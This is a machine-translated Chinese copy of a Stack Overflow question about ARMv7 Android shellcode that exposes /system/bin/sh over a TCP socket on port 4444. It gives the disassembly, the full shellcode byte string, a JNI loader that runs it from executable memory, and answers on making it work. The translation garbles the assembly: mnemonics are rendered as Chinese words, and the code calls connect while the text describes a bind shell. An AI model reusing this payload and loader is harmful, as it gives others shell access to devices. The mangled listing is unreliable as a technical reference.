【问题标题】:Android bind TCP shellcode - connection refusedAndroid绑定TCP shellcode - 连接被拒绝
【发布时间】:2018-09-25 16:03:08
【问题描述】:

我的以下armv7 tcp绑定shell代码步骤:

  • 打开套接字
  • 在 4444 端口监听
  • 接受连接
  • 使用dup2将标准输入/输出/错误绑定到套接字
  • 使用execve( "/system/bin/sh", NULL, NULL )生成shell
部分.text的反汇编: _start e28f3001 添加 r3, pc, #1 ;切换到拇指模式 _start+0x4 e12fff13 bx r3 // 套接字(2, 1, 0) _start+0x8 2002 移动 r0, #2 _start+0xa 2101 移动 r1, #1 _start+0xc 1a92 subs r2, r2, r2 _start+0xe 27c8 移动 r7, #200 _start+0x10 3751 添加 r7, #81 ; r7 = 281(插座) _start+0x12 df01 服务端 1 ; r0 = 结果 sockfd _start+0x14 1c04 添加 r4, r0, #0 ;在 r4 中保存 sockfd // 连接(r0, &sockaddr, 16) _start+0x16 a10a 添加 r1, pc, #40 ; (adr r1, 结构) _start+0x18 704a strb r2, [r1, #1] ;为 AF_INET 写 0 _start+0x1a 2210 移动 r2,#16 _start+0x1c 3702 添加 r7, #2 ; r7 = 283(连接) _start+0x1e df01 svc 1 // dup2(sockfd, 0) _start+0x20 273f 移动 r7, #63 ; r7 = 63 (dup2) _start+0x22 1c20 添加 r0, r4, #0 ; r4 是保存的 sockfd _start+0x24 1a49 subs r1, r1, r1 ; r1 = 0(标准输入) _start+0x26 df01 服务端 1 // dup2(sockfd, 1) _start+0x28 1c20 添加 r0, r4, #0 _start+0x2a 2101 移动 r1, #1 _start+0x2c df01 服务端 1 // dup2(sockfd, 2) _start+0x2e 1c20 添加 r0, r4, #0 _start+0x30 2102 移动 r1, #2 _start+0x32 df01 服务端 1 // execve("/system/bin/sh", 0, 0) _start+0x34 a004 添加 r0, pc, #16 ; (adr r0, binsh) _start+0x36 1a92 subs r2, r2, r2 _start+0x38 1a49 subs r1, r1, r1 _start+0x3a 7382 strb r2, [r0, #14] _start+0x3c 270b 移动 r7, #11 _start+0x3e df01 svc 1 // 结构: // .ascii "\x02\xff" // AF_INET 0xff 将被清空 // .ascii "\x11\x5c" // 端口 4444 // .byte 0,0,0,0 // IP 地址(接受任何?) 结构 5c11ff02 .word 0x5c11ff02 结构+0x4 00000000 .word 0x00000000 // .ascii "/system/bin/shX" binsh 7379732f .word 0x7379732f binsh+0x4 2f6d6574 .word 0x2f6d6574 binsh+0x8 2f6e6962 .word 0x2f6e6962 binsh+0xc 6873 .short 0x6873 binsh+0xe 58 .byte 0x58

通过 JNI 执行

char SC[] = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0a\xa1\x4a\x70\x10\x22\x02\x37\x01\xdf\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x92\x1a\x49\x1a\x82\x73\x0b\x27\x01\xdf\x02\xff\x11\x5c\x00\x00\x00\x00\x2f\x73\x79\x73\x74\x65\x6d\x2f\x62\x69\x6e\x2f\x73\x68\x58\x00";

JNIEXPORT jstring JNICALL Java_com_MainActivity_run(JNIEnv *env, jobject obj) {
    char* code = mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    memcpy(code, SC, 300);
    void (*func)() = (void (*)())code;
    func();
    return (*env)->NewStringUTF(env, "hello");
}

mmap 用于设置 shellcode 的执行权限。

在 MainActivity#onCreate 我执行原生函数run

使用 gdb (v7.1) 调试我看到了 shellcode。

gdb $ x/10i $pc => 0xb402a05c: 服务端 1 0xb402a05e:无; (移动 r8,r8) gdb $ n 进程 8467 正在执行新程序:/system/bin/sh 从远程目标读取 /system/bin/sh... 从远程目标读取 /system/bin/sh... 重新设置断点 1 时出错:未加载符号表。使用“文件”命令。

我正在尝试使用 netcat 从我的本地主机连接,但 连接被拒绝,因为没有开放端口。

执行cat /proc/net/tcp 表明这一点。

执行ps 显示新进程,“/system/bin/sh”处于僵尸状态。

根@androidv7:/#ps | grep 8467 u0_a298 8467 2002 0 0 c002a898 00000000 Z sh

我是否需要用forkexecgetpid 替换我的exec 系统调用?

有什么帮助吗?

参考资料:

【问题讨论】:

  • 您的 shellcode 有问题,但您只向我们提供了它的二进制字符串。您能否展示(反)组装以及您对正在发生的事情的理解?
  • @domen 给你

标签: android arm java-native-interface shellcode


【解决方案1】:

在子节点上添加fork 和执行exec 解决了这个问题。

【讨论】:

    【解决方案2】:

    你的 shellcode 没问题。 尝试向您的清单添加权限:

    <uses-permission android:name="android.permission.INTERNET" /> 
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    

    【讨论】:

    • 感谢 +1,使套接字工作并可见 @ /proc/tcp/net 但仍然没有将 shell 绑定到套接字
    猜你喜欢
    • 2016-08-18
    • 1970-01-01
    • 2019-04-16
    • 1970-01-01
    • 2017-01-13
    • 1970-01-01
    • 1970-01-01
    • 2018-10-01
    • 1970-01-01
    相关资源
    最近更新 更多